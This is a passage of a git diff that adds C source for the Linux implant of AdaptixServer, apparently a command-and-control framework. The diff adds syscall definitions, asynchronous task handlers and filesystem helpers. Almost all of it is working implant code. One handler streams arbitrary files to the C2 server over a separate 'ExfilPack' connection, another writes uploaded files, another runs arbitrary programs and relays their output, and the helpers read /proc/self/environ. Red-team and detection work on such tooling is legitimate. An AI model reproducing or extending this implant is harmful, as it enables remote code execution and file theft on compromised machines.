CLONE_SYSVSEM 0x00040000 +#define CLONE_SETTLS 0x00080000 +#define CLONE_PARENT_SETTID 0x00100000 +#define CLONE_CHILD_CLEARTID 0x00200000 + +#define THREAD_CLONE_FLAGS (CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | \ + CLONE_THREAD | CLONE_SYSVSEM | CLONE_SETTLS | \ + CLONE_PARENT_SETTID | CLONE_CHILD_CLEARTID) + +#endif // ARCH_X86_64 +#endif // SYSCALLS_X64_H diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.c new file mode 100644 index 000000000..4dfacfa0f --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.c @@ -0,0 +1,772 @@ +/// tasks_async.c -- Async commands for Linux agent (download/upload/run/job_list/job_kill) +/// Phase 3b: full implementation copied from macOS agent, adapted for Linux direct syscalls + +#include "tasks_async.h" +#include "jobs.h" +#include "crt.h" +#include "crypt.h" +#include "types.h" + +#ifdef BUILD_SO +#include "elf_resolve.h" +#else +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif +#endif + +// ── Helpers ── + +static void write_error(mp_writer_t *w, const char *msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +// File open/close/read/write/stat abstraction +#ifdef BUILD_SO + +#define F_open(p,f,m) R_open(p,f,m) +#define F_close(fd) R_close(fd) +#define F_read(fd,b,n) R_read(fd,b,n) +#define F_write(fd,b,n) R_write(fd,b,n) +#define F_fork() R_fork() +#define F_setpgid(p,g) R_setpgid(p,g) +#define F_execve(p,a,e) R_execve(p,a,e) +#define F_dup2(o,n) R_dup2(o,n) +#define F_pipe(p) R_pipe(p) +#define F_fcntl(fd,c,a) R_fcntl(fd,c,a) +#define F_waitpid(p,s,o) R_waitpid(p,s,o) +#define F_kill(p,s) R_kill(p,s) +#define F_exit(s) R_exit(s) +#define F_usleep(u) R_usleep(u) + +static int F_fstat_size(int fd) { + struct { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; + unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; + unsigned int __pad; unsigned long st_rdev; long st_size; + /* ... */ } st; + if (R_fstat(fd, &st) != 0) return -1; + return (int)st.st_size; +} + +#else + +#define F_open(p,f,m) sys_open(p,f,m) +#define F_close(fd) sys_close(fd) +#define F_read(fd,b,n) sys_read(fd,b,n) +#define F_write(fd,b,n) sys_write(fd,b,n) +#define F_fork() sys_fork() +#define F_setpgid(p,g) sys_setpgid(p,g) +#define F_execve(p,a,e) sys_execve(p,a,e) +#define F_dup2(o,n) sys_dup2(o,n) +#define F_pipe(p) sys_pipe2(p,0) +#define F_fcntl(fd,c,a) sys_fcntl(fd,c,a) +#define F_waitpid(p,s,o) sys_wait4(p,s,o,(void*)0) +#define F_kill(p,s) sys_kill(p,s) +#define F_exit(s) sys_exit_group(s) +#define F_usleep(u) sys_usleep(u) + +static int F_fstat_size(int fd) { + struct linux_stat st; + if (sys_fstat(fd, &st) != 0) return -1; + return (int)st.st_size; +} + +#endif + +// O_* constants +#ifndef O_RDONLY +#define O_RDONLY 0 +#define O_WRONLY 1 +#define O_RDWR 2 +#define O_CREAT 0100 +#define O_TRUNC 01000 +#define O_NONBLOCK 04000 +#endif +#ifndef F_SETFL +#define F_SETFL 4 +#define F_GETFL 3 +#endif +#ifndef WNOHANG +#define WNOHANG 1 +#endif + +// ── Download ── +// Spawns thread -> opens new C2 connection -> streams file in 1MB chunks +// Wire: AnsDownload{id,path,size,content,start,finish,canceled} + +#define DOWNLOAD_CHUNK_SIZE (1024 * 1024) // 1MB + +typedef struct { + int job_idx; + char task[64]; + char path[4096]; +} download_args_t; + +static void *download_thread(void *arg) { + download_args_t *args = (download_args_t*)arg; + job_context_t *ctx = &g_job_ctx; + job_entry_t *job = &ctx->jobs[args->job_idx]; + + // Open separate connection to C2 + if (jobs_open_connection(ctx, &job->conn) != 0) { + job->active = 0; + ax_free(args); + return (void*)0; + } + + // Send ExfilPack init: {id, type, task} + mp_writer_t pack_w; + mp_writer_init(&pack_w, 128); + mp_write_map(&pack_w, 3); + mp_write_kv_uint(&pack_w, "id", ctx->agent_id); + mp_write_kv_uint(&pack_w, "type", ctx->profile_type); + mp_write_kv_str(&pack_w, "task", args->task); + + if (jobs_send_init(ctx, &job->conn, EXFIL_PACK, pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) { + mp_writer_free(&pack_w); + conn_close(&job->conn); + job->active = 0; + ax_free(args); + return (void*)0; + } + mp_writer_free(&pack_w); + + // Parse FileId from task hex string + int file_id = ax_hextoi(args->task); + + // Open file + int fd = F_open(args->path, O_RDONLY, 0); + if (fd < 0) { + // Send canceled message + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 7); + mp_write_kv_int(&ans_w, "id", file_id); + mp_write_kv_str(&ans_w, "path", args->path); + mp_write_kv_int(&ans_w, "size", 0); + mp_write_kv_bin(&ans_w, "content", (uint8_t*)0, 0); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", true); + mp_write_kv_bool(&ans_w, "canceled", true); + + jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + + conn_close(&job->conn); + jobs_remove(ctx, args->job_idx); + ax_free(args); + return (void*)0; + } + + // Get file size + int total_size = F_fstat_size(fd); + if (total_size < 0) total_size = 0; + + // Read and stream in chunks + uint8_t *chunk_buf = (uint8_t*)ax_malloc(DOWNLOAD_CHUNK_SIZE); + int offset = 0; + int first = 1; + + while (offset < total_size && !job->canceled) { + int remaining = total_size - offset; + int to_read = remaining < DOWNLOAD_CHUNK_SIZE ? remaining : DOWNLOAD_CHUNK_SIZE; + + long n = F_read(fd, chunk_buf, (size_t)to_read); + if (n <= 0) break; + + int is_last = (offset + (int)n >= total_size); + + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128 + (size_t)n); + mp_write_map(&ans_w, 7); + mp_write_kv_int(&ans_w, "id", file_id); + mp_write_kv_str(&ans_w, "path", args->path); + mp_write_kv_int(&ans_w, "size", (int64_t)total_size); + mp_write_kv_bin(&ans_w, "content", chunk_buf, (uint32_t)n); + mp_write_kv_bool(&ans_w, "start", first ? true : false); + mp_write_kv_bool(&ans_w, "finish", is_last ? true : false); + mp_write_kv_bool(&ans_w, "canceled", false); + + if (jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len) != 0) { + mp_writer_free(&ans_w); + break; + } + mp_writer_free(&ans_w); + + offset += (int)n; + first = 0; + } + + // If canceled, send cancel marker + if (job->canceled && offset < total_size) { + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 7); + mp_write_kv_int(&ans_w, "id", file_id); + mp_write_kv_str(&ans_w, "path", args->path); + mp_write_kv_int(&ans_w, "size", (int64_t)total_size); + mp_write_kv_bin(&ans_w, "content", (uint8_t*)0, 0); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", true); + mp_write_kv_bool(&ans_w, "canceled", true); + + jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + } + + ax_free(chunk_buf); + F_close(fd); + conn_close(&job->conn); + jobs_remove(ctx, args->job_idx); + ax_free(args); + return (void*)0; +} + +int task_download(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + // Parse ParamsDownload{Task, Path} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + char task[64] = {0}; + char path[4096] = {0}; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 4 && ax_memcmp(k, "task", 4) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; } + } else if (kl == 4 && ax_memcmp(k, "path", 4) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(path)) { ax_memcpy(path, v, vl); path[vl] = '\0'; } + } else { + mp_skip(&r); + } + } + + if (task[0] == '\0' || path[0] == '\0') { + write_error(w, "missing task or path"); + return 0; + } + + int idx = jobs_alloc(&g_job_ctx); + if (idx < 0) { write_error(w, "max jobs reached"); return 0; } + + job_entry_t *job = &g_job_ctx.jobs[idx]; + ax_strncpy(job->job_id, task, sizeof(job->job_id) - 1); + job->job_type = JOB_TYPE_DOWNLOAD; + job->active = 1; + + download_args_t *args = (download_args_t*)ax_malloc(sizeof(download_args_t)); + args->job_idx = idx; + ax_strncpy(args->task, task, sizeof(args->task) - 1); + ax_strncpy(args->path, path, sizeof(args->path) - 1); + + jobs_thread_create(&job->thread, download_thread, args); + + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "download started"); + return 0; +} + +// ── Upload ── +// Synchronous — data received in chunks via normal command loop +// Wire: ParamsUpload{Path, Content, Finish} + +int task_upload(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + char task[64] = {0}; + char path[4096] = {0}; + const uint8_t *content = (uint8_t*)0; + uint32_t content_len = 0; + bool finish = false; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 4 && ax_memcmp(k, "task", 4) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; } + } else if (kl == 4 && ax_memcmp(k, "path", 4) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(path)) { ax_memcpy(path, v, vl); path[vl] = '\0'; } + } else if (kl == 7 && ax_memcmp(k, "content", 7) == 0) { + mp_read_bin(&r, &content, &content_len); + } else if (kl == 6 && ax_memcmp(k, "finish", 6) == 0) { + mp_read_bool(&r, &finish); + } else { + mp_skip(&r); + } + } + + if (task[0] == '\0') { write_error(w, "missing task"); return 0; } + + job_context_t *ctx = &g_job_ctx; + + // Find or create upload entry + int uidx = -1; + for (int i = 0; i < ctx->upload_count; i++) { + if (ax_strcmp(ctx->uploads[i].task_id, task) == 0) { uidx = i; break; } + } + if (uidx < 0) { + if (ctx->upload_count >= MAX_JOBS) { write_error(w, "max uploads reached"); return 0; } + uidx = ctx->upload_count++; + ax_memset(&ctx->uploads[uidx], 0, sizeof(upload_entry_t)); + ax_strncpy(ctx->uploads[uidx].task_id, task, sizeof(ctx->uploads[uidx].task_id) - 1); + } + + upload_entry_t *up = &ctx->uploads[uidx]; + + // Append content + if (content && content_len > 0) { + size_t needed = up->data_len + content_len; + if (needed > up->data_cap) { + size_t new_cap = needed * 2; + if (new_cap < 4096) new_cap = 4096; + uint8_t *new_data = (uint8_t*)ax_malloc(new_cap); + if (up->data && up->data_len > 0) { + ax_memcpy(new_data, up->data, up->data_len); + ax_free(up->data); + } + up->data = new_data; + up->data_cap = new_cap; + } + ax_memcpy(up->data + up->data_len, content, content_len); + up->data_len += content_len; + } + + if (finish) { + // Write file + int fd = F_open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd < 0) { + write_error(w, "failed to create file"); + } else { + if (up->data && up->data_len > 0) { + F_write(fd, up->data, up->data_len); + } + F_close(fd); + + mp_write_map(w, 2); + mp_write_kv_str(w, "path", path); + mp_write_kv_int(w, "size", (int64_t)up->data_len); + } + + // Cleanup upload entry + if (up->data) ax_free(up->data); + for (int i = uidx; i < ctx->upload_count - 1; i++) + ctx->uploads[i] = ctx->uploads[i + 1]; + ctx->upload_count--; + } else { + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "chunk received"); + } + + return 0; +} + +// ── Run ── +// Spawns thread -> opens new C2 connection -> fork+execve -> streams stdout/stderr +// Wire: AnsRun{Stdout, Stderr, Pid, Start, Finish} + +#define RUN_CHUNK_SIZE 65536 // 64KB + +typedef struct { + int job_idx; + char task[64]; + char program[4096]; + char *args[64]; + int argc; +} run_args_t; + +static void *run_thread(void *arg) { + run_args_t *rargs = (run_args_t*)arg; + job_context_t *ctx = &g_job_ctx; + job_entry_t *job = &ctx->jobs[rargs->job_idx]; + + // Open separate connection to C2 + if (jobs_open_connection(ctx, &job->conn) != 0) { + job->active = 0; + for (int i = 0; i < rargs->argc; i++) ax_free(rargs->args[i]); + ax_free(rargs); + return (void*)0; + } + + // Send JobPack init: {id, type, task} + mp_writer_t pack_w; + mp_writer_init(&pack_w, 128); + mp_write_map(&pack_w, 3); + mp_write_kv_uint(&pack_w, "id", ctx->agent_id); + mp_write_kv_uint(&pack_w, "type", ctx->profile_type); + mp_write_kv_str(&pack_w, "task", rargs->task); + + if (jobs_send_init(ctx, &job->conn, JOB_PACK, pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) { + mp_writer_free(&pack_w); + conn_close(&job->conn); + job->active = 0; + for (int i = 0; i < rargs->argc; i++) ax_free(rargs->args[i]); + ax_free(rargs); + return (void*)0; + } + mp_writer_free(&pack_w); + + // Create pipes for stdout and stderr + int stdout_pipe[2], stderr_pipe[2]; + if (F_pipe(stdout_pipe) != 0 || F_pipe(stderr_pipe) != 0) { + conn_close(&job->conn); + jobs_remove(ctx, rargs->job_idx); + for (int i = 0; i < rargs->argc; i++) ax_free(rargs->args[i]); + ax_free(rargs); + return (void*)0; + } + + // Build argv + char *exec_argv[66]; + exec_argv[0] = rargs->program; + for (int i = 0; i < rargs->argc && i < 63; i++) + exec_argv[i + 1] = rargs->args[i]; + exec_argv[rargs->argc + 1] = (char*)0; + + int pid = F_fork(); + if (pid < 0) { + F_close(stdout_pipe[0]); F_close(stdout_pipe[1]); + F_close(stderr_pipe[0]); F_close(stderr_pipe[1]); + conn_close(&job->conn); + jobs_remove(ctx, rargs->job_idx); + for (int i = 0; i < rargs->argc; i++) ax_free(rargs->args[i]); + ax_free(rargs); + return (void*)0; + } + + if (pid == 0) { + // Child process + F_setpgid(0, 0); + F_close(stdout_pipe[0]); + F_close(stderr_pipe[0]); + F_dup2(stdout_pipe[1], 1); + F_dup2(stderr_pipe[1], 2); + F_close(stdout_pipe[1]); + F_close(stderr_pipe[1]); + + // Get environ from /proc/self/environ is complex, pass NULL + // On Linux, execve with NULL envp gives empty env + // Actually use the existing environment pointer (stack) + F_execve(rargs->program, exec_argv, (char*const*)0); + F_exit(1); + } + + // Parent: close write ends + F_close(stdout_pipe[1]); + F_close(stderr_pipe[1]); + + // Set reads to non-blocking + F_fcntl(stdout_pipe[0], F_SETFL, O_NONBLOCK); + F_fcntl(stderr_pipe[0], F_SETFL, O_NONBLOCK); + + // Send start message + { + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 5); + mp_write_kv_str(&ans_w, "stdout", ""); + mp_write_kv_str(&ans_w, "stderr", ""); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", true); + mp_write_kv_bool(&ans_w, "finish", false); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + } + + // Streaming loop + uint8_t *out_buf = (uint8_t*)ax_malloc(RUN_CHUNK_SIZE); + uint8_t *err_buf = (uint8_t*)ax_malloc(RUN_CHUNK_SIZE); + int process_done = 0; + + while (!process_done && !job->canceled) { + F_usleep(1000000); // 1 second + + long out_n = F_read(stdout_pipe[0], out_buf, RUN_CHUNK_SIZE); + if (out_n < 0) out_n = 0; + + long err_n = F_read(stderr_pipe[0], err_buf, RUN_CHUNK_SIZE); + if (err_n < 0) err_n = 0; + + int status; + int wret = F_waitpid(pid, &status, WNOHANG); + if (wret > 0) process_done = 1; + + if (out_n > 0 || err_n > 0) { + char *out_str = (char*)ax_malloc((size_t)out_n + 1); + ax_memcpy(out_str, out_buf, (size_t)out_n); + out_str[out_n] = '\0'; + + char *err_str = (char*)ax_malloc((size_t)err_n + 1); + ax_memcpy(err_str, err_buf, (size_t)err_n); + err_str[err_n] = '\0'; + + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128 + (size_t)out_n + (size_t)err_n); + mp_write_map(&ans_w, 5); + mp_write_str(&ans_w, "stdout", 6); + mp_write_str(&ans_w, out_str, (uint32_t)out_n); + mp_write_str(&ans_w, "stderr", 6); + mp_write_str(&ans_w, err_str, (uint32_t)err_n); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", false); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + ax_free(out_str); + ax_free(err_str); + } + } + + // If canceled, kill process group + if (job->canceled) { + F_kill(-pid, 9); // kill process group + F_waitpid(pid, (void*)0, 0); + } + + // Drain remaining output + for (;;) { + long out_n = F_read(stdout_pipe[0], out_buf, RUN_CHUNK_SIZE); + long err_n = F_read(stderr_pipe[0], err_buf, RUN_CHUNK_SIZE); + if (out_n <= 0 && err_n <= 0) break; + if (out_n < 0) out_n = 0; + if (err_n < 0) err_n = 0; + + char *out_str = (char*)ax_malloc((size_t)out_n + 1); + ax_memcpy(out_str, out_buf, (size_t)out_n); + out_str[out_n] = '\0'; + + char *err_str = (char*)ax_malloc((size_t)err_n + 1); + ax_memcpy(err_str, err_buf, (size_t)err_n); + err_str[err_n] = '\0'; + + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128 + (size_t)out_n + (size_t)err_n); + mp_write_map(&ans_w, 5); + mp_write_str(&ans_w, "stdout", 6); + mp_write_str(&ans_w, out_str, (uint32_t)out_n); + mp_write_str(&ans_w, "stderr", 6); + mp_write_str(&ans_w, err_str, (uint32_t)err_n); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", false); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + ax_free(out_str); + ax_free(err_str); + } + + // Send finish message + { + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 5); + mp_write_kv_str(&ans_w, "stdout", ""); + mp_write_kv_str(&ans_w, "stderr", ""); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", true); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + } + + F_close(stdout_pipe[0]); + F_close(stderr_pipe[0]); + ax_free(out_buf); + ax_free(err_buf); + conn_close(&job->conn); + jobs_remove(ctx, rargs->job_idx); + + for (int i = 0; i < rargs->argc; i++) ax_free(rargs->args[i]); + ax_free(rargs); + return (void*)0; +} + +int task_run(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + char task[64] = {0}; + char program[4096] = {0}; + char *args[64]; + int argc = 0; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 4 && ax_memcmp(k, "task", 4) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; } + } else if (kl == 7 && ax_memcmp(k, "program", 7) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(program)) { ax_memcpy(program, v, vl); program[vl] = '\0'; } + } else if (kl == 4 && ax_memcmp(k, "args", 4) == 0) { + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) == 0) { + for (uint32_t j = 0; j < arr_count && argc < 63; j++) { + const char *v; uint32_t vl; + if (mp_read_str(&r, &v, &vl) == 0) { + args[argc] = (char*)ax_malloc(vl + 1); + ax_memcpy(args[argc], v, vl); + args[argc][vl] = '\0'; + argc++; + } + } + } + } else { + mp_skip(&r); + } + } + + if (task[0] == '\0' || program[0] == '\0') { + for (int i = 0; i < argc; i++) ax_free(args[i]); + write_error(w, "missing task or program"); + return 0; + } + + int idx = jobs_alloc(&g_job_ctx); + if (idx < 0) { + for (int i = 0; i < argc; i++) ax_free(args[i]); + write_error(w, "max jobs reached"); + return 0; + } + + job_entry_t *job = &g_job_ctx.jobs[idx]; + ax_strncpy(job->job_id, task, sizeof(job->job_id) - 1); + job->job_type = JOB_TYPE_RUN; + job->active = 1; + + run_args_t *rargs = (run_args_t*)ax_malloc(sizeof(run_args_t)); + ax_memset(rargs, 0, sizeof(run_args_t)); + rargs->job_idx = idx; + ax_strncpy(rargs->task, task, sizeof(rargs->task) - 1); + ax_strncpy(rargs->program, program, sizeof(rargs->program) - 1); + rargs->argc = argc; + for (int i = 0; i < argc; i++) + rargs->args[i] = args[i]; // Transfer ownership + + jobs_thread_create(&job->thread, run_thread, rargs); + + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "run started"); + return 0; +} + +// ── Job List ── + +int task_job_list(mp_writer_t *w) { + job_context_t *ctx = &g_job_ctx; + + int count = 0; + jobs_mutex_lock(&ctx->jobs_mutex); + for (int i = 0; i < MAX_JOBS; i++) { + if (ctx->jobs[i].active) count++; + } + + mp_write_map(w, 1); + mp_write_str(w, "jobs", 4); + mp_write_array(w, (uint32_t)count); + + for (int i = 0; i < MAX_JOBS; i++) { + if (ctx->jobs[i].active) { + mp_write_map(w, 2); + mp_write_kv_str(w, "job_id", ctx->jobs[i].job_id); + mp_write_kv_int(w, "job_type", ctx->jobs[i].job_type); + } + } + jobs_mutex_unlock(&ctx->jobs_mutex); + + return 0; +} + +// ── Job Kill ── + +int task_job_kill(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + const char *id = (const char*)0; + uint32_t id_len = 0; + + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 2 && ax_memcmp(k, "id", 2) == 0) { + mp_read_str(&r, &id, &id_len); + } else { + mp_skip(&r); + } + } + + if (!id || id_len == 0) { write_error(w, "missing id"); return 0; } + + char id_str[64] = {0}; + if (id_len >= sizeof(id_str)) id_len = sizeof(id_str) - 1; + ax_memcpy(id_str, id, id_len); + + job_context_t *ctx = &g_job_ctx; + + // Search in jobs (downloads + runs) + int idx = jobs_find(ctx, id_str); + if (idx >= 0) { + ctx->jobs[idx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "job canceled"); + return 0; + } + + // Search in tunnels (MUX model: mark as closed, process_tunnels handles cleanup) + int ch_id = ax_atoi(id_str); + int tidx = tunnels_find(ctx, ch_id); + if (tidx >= 0) { + ctx->tunnels[tidx].state = TUNNEL_STATE_CLOSED; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel canceled"); + return 0; + } + + // Search in terminals + int term_idx = terminals_find(ctx, ch_id); + if (term_idx >= 0) { + ctx->terminals[term_idx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "terminal canceled"); + return 0; + } + + write_error(w, "job not found"); + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.h new file mode 100644 index 000000000..35742b4ea --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.h @@ -0,0 +1,16 @@ +#ifndef TASKS_ASYNC_H +#define TASKS_ASYNC_H + +#include "msgpack.h" +#include + +/// Async command handlers -- download, upload, run, job_list, job_kill +/// These launch background threads with separate C2 connections + +int task_download(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_upload(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_run(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_job_list(mp_writer_t *w); +int task_job_kill(const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +#endif /* TASKS_ASYNC_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.c new file mode 100644 index 000000000..4576fd433 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.c @@ -0,0 +1,729 @@ +/// tasks_fs.c -- Filesystem commands for Linux agent +/// All ops via direct syscalls — zero libc dependency. + +#include "tasks_fs.h" +#include "crt.h" +#include "types.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// ── Linux constants ── + +#define O_RDONLY 0 +#define O_WRONLY 1 +#define O_RDWR 2 +#define O_CREAT 0100 +#define O_TRUNC 01000 +#define O_APPEND 02000 + +// stat mode bits +#define S_IFMT 0170000 +#define S_IFDIR 0040000 +#define S_IFREG 0100000 +#define S_IFLNK 0120000 +#define S_ISDIR(m) (((m) & S_IFMT) == S_IFDIR) +#define S_ISREG(m) (((m) & S_IFMT) == S_IFREG) +#define S_ISLNK(m) (((m) & S_IFMT) == S_IFLNK) +#define S_IRUSR 0400 +#define S_IWUSR 0200 +#define S_IXUSR 0100 +#define S_IRGRP 0040 +#define S_IWGRP 0020 +#define S_IXGRP 0010 +#define S_IROTH 0004 +#define S_IWOTH 0002 +#define S_IXOTH 0001 + +// getdents64 structure +struct linux_dirent64 { + uint64_t d_ino; + int64_t d_off; + uint16_t d_reclen; + uint8_t d_type; + char d_name[]; +}; + +#define DT_DIR 4 +#define DT_REG 8 + +// ── Helpers ── + +static void write_error(mp_writer_t *w, const char *msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +/// Parse a single string field from msgpack params +static int parse_string_param(const uint8_t *data, uint32_t data_len, + const char *key_name, char *out, size_t out_size) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + size_t kname_len = ax_strlen(key_name); + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + if (klen == kname_len && ax_memcmp(key, key_name, klen) == 0) { + const char *val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) return -1; + if (vlen >= out_size) vlen = (uint32_t)(out_size - 1); + ax_memcpy(out, val, vlen); + out[vlen] = '\0'; + return 0; + } + mp_skip(&r); + } + return -1; +} + +/// Parse two string fields (src, dst) +static int parse_two_strings(const uint8_t *data, uint32_t data_len, + const char *key1, char *out1, size_t out1_size, + const char *key2, char *out2, size_t out2_size) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + size_t k1len = ax_strlen(key1); + size_t k2len = ax_strlen(key2); + int found = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + if (klen == k1len && ax_memcmp(key, key1, klen) == 0) { + const char *val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) return -1; + if (vlen >= out1_size) vlen = (uint32_t)(out1_size - 1); + ax_memcpy(out1, val, vlen); + out1[vlen] = '\0'; + found++; + } else if (klen == k2len && ax_memcmp(key, key2, klen) == 0) { + const char *val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) return -1; + if (vlen >= out2_size) vlen = (uint32_t)(out2_size - 1); + ax_memcpy(out2, val, vlen); + out2[vlen] = '\0'; + found++; + } else { + mp_skip(&r); + } + } + return (found >= 2) ? 0 : -1; +} + +/// Expand ~ to /home/ via /proc/self/environ HOME= +static void normalize_path(const char *input, char *out, size_t out_size) { + if (input[0] == '~' && (input[1] == '/' || input[1] == '\0')) { + // Read HOME from /proc/self/environ + char env_buf[4096]; + int fd = sys_open("/proc/self/environ", O_RDONLY, 0); + if (fd >= 0) { + long n = sys_read(fd, env_buf, sizeof(env_buf) - 1); + sys_close(fd); + if (n > 0) { + env_buf[n] = '\0'; + // Environ is null-separated. Find HOME= + char *p = env_buf; + char *end = env_buf + n; + while (p < end) { + if (p[0] == 'H' && p[1] == 'O' && p[2] == 'M' && p[3] == 'E' && p[4] == '=') { + ax_strncpy(out, p + 5, out_size - 1); + ax_strcat(out, input + 1); + out[out_size - 1] = '\0'; + return; + } + while (p < end && *p) p++; + p++; // skip null separator + } + } + } + // Fallback: /tmp + ax_strncpy(out, "/tmp", out_size - 1); + ax_strcat(out, input + 1); + } else { + ax_strncpy(out, input, out_size - 1); + } + out[out_size - 1] = '\0'; +} + +/// Build permission mode string from stat mode +static void mode_string(unsigned int mode, char *buf) { + buf[0] = S_ISDIR(mode) ? 'd' : (S_ISLNK(mode) ? 'l' : '-'); + buf[1] = (mode & S_IRUSR) ? 